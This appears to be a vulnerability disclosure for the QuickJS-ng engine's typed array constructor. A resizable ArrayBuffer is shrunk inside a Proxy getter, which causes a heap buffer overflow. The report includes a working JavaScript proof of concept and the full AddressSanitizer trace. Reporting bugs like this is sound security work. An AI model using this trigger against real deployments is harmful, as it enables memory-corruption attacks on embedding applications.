Overview
js_typed_array_constructor does return js_typed_array_constructor_ta(ctx, new_target, argv[0], classid, p->u.array.count); if p(the argument) is a typed array. Therefore, p->u.array.count remains stale during js_typed_array_constructor_ta, where js_create_from_ctor can trigger JS code and resize the array buffer, thus invalidating len and triggering a buffer overflow or use after free when doing memcpy(abuf->data, src_abuf->data + ta->offset, abuf->byte_length);.
This is similar to #1296
PoC
const rab = new ArrayBuffer(10, { maxByteLength: 10 });
const src = new Uint8Array(rab, 0);
function f() {
return 1337;
}
const EvilConstructor = new Proxy(function(){}, {
get: function(target, prop, receiver) {
if (prop === 'prototype') {
console.log("resizing");
rab.resize(0);
return Uint8Array.prototype;
}
return Reflect.get(target, prop, receiver);
}
});
let u8 = Reflect.construct(Uint8Array, [src], EvilConstructor);
console.log(u8);
ASAN output:
=================================================================
==1358035==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000001651 at pc 0x70afe1cfb42e bp 0x7fff1b485c40 sp 0x7fff1b4853e8
READ of size 10 at 0x502000001651 thread T0
#0 0x70afe1cfb42d in memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115
#1 0x5b18f76077ed in js_typed_array_constructor_ta (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1e97ed) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#2 0x5b18f763829f in js_typed_array_constructor (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x21a29f) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#3 0x5b18f75b46e5 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1966e5) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#4 0x5b18f7610244 in JS_CallConstructorInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f2244) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#5 0x5b18f7610ca8 in js_reflect_construct (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f2ca8) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#6 0x5b18f75b4821 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x196821) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#7 0x5b18f748b863 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6d863) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#8 0x5b18f748cda4 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6eda4) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#9 0x5b18f7613931 in js_async_function_resume (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f5931) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#10 0x5b18f7618f40 in js_async_function_call.constprop.0 (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1faf40) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#11 0x5b18f7619464 in js_execute_sync_module (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1fb464) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#12 0x5b18f761e6c5 in js_inner_module_evaluation (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x2006c5) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#13 0x5b18f766195d in JS_EvalFunction (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x24395d) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#14 0x5b18f7451ffc in main (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x33ffc) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#15 0x70afe182a3b7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#16 0x70afe182a47a in __libc_start_main_impl ../csu/libc-start.c:360
#17 0x5b18f74527d4 in _start (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x347d4) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
0x502000001651 is located 0 bytes after 1-byte region [0x502000001650,0x502000001651)
allocated by thread T0 here:
#0 0x70afe1cfc778 in realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:85
#1 0x5b18f74f32ca in js_realloc (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0xd52ca) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#2 0x5b18f75e8d15 in js_array_buffer_resize (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1cad15) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#3 0x5b18f75b46e5 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1966e5) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#4 0x5b18f748b863 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6d863) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#5 0x5b18f748cda4 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6eda4) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#6 0x5b18f763c930 in js_proxy_get (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x21e930) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#7 0x5b18f752fbf3 in JS_GetPropertyInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x111bf3) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#8 0x5b18f7558ce3 in js_create_from_ctor (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x13ace3) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#9 0x5b18f7606ced in js_typed_array_constructor_ta (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1e8ced) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#10 0x5b18f763829f in js_typed_array_constructor (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x21a29f) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#11 0x5b18f75b46e5 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1966e5) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#12 0x5b18f7610244 in JS_CallConstructorInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f2244) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#13 0x5b18f7610ca8 in js_reflect_construct (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f2ca8) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#14 0x5b18f75b4821 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x196821) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#15 0x5b18f748b863 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6d863) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#16 0x5b18f748cda4 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6eda4) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#17 0x5b18f7613931 in js_async_function_resume (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f5931) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#18 0x5b18f7618f40 in js_async_function_call.constprop.0 (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1faf40) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#19 0x5b18f7619464 in js_execute_sync_module (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1fb464) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#20 0x5b18f761e6c5 in js_inner_module_evaluation (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x2006c5) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#21 0x5b18f766195d in JS_EvalFunction (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x24395d) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#22 0x5b18f7451ffc in main (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x33ffc) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
#23 0x70afe182a3b7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#24 0x70afe182a47a in __libc_start_main_impl ../csu/libc-start.c:360
#25 0x5b18f74527d4 in _start (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x347d4) (BuildId: b24f49480cdbcefcf58c0fc20d628aa6419d8a89)
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115 in memcpy
Shadow bytes around the buggy address:
0x502000001380: fa fa fd fa fa fa fd fd fa fa fd fd fa fa fd fa
0x502000001400: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
0x502000001480: fa fa fd fd fa fa fd fd fa fa fd fa fa fa fd fa
0x502000001500: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa fd fd
0x502000001580: fa fa 00 fa fa fa 00 00 fa fa 00 00 fa fa 00 00
=>0x502000001600: fa fa fd fa fa fa fd fd fa fa[01]fa fa fa 00 02
0x502000001680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x502000001700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x502000001780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x502000001800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x502000001880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==1358035==ABORTING
Reporter credit: mcsky23 (Vlad Ionut Seba)
Overview
js_typed_array_constructordoesreturn js_typed_array_constructor_ta(ctx, new_target, argv[0], classid, p->u.array.count);ifp(the argument) is a typed array. Therefore,p->u.array.countremains stale duringjs_typed_array_constructor_ta, wherejs_create_from_ctorcan trigger JS code and resize the array buffer, thus invalidatinglenand triggering a buffer overflow or use after free when doingmemcpy(abuf->data, src_abuf->data + ta->offset, abuf->byte_length);.This is similar to #1296
PoC
ASAN output:
Reporter credit: mcsky23 (Vlad Ionut Seba)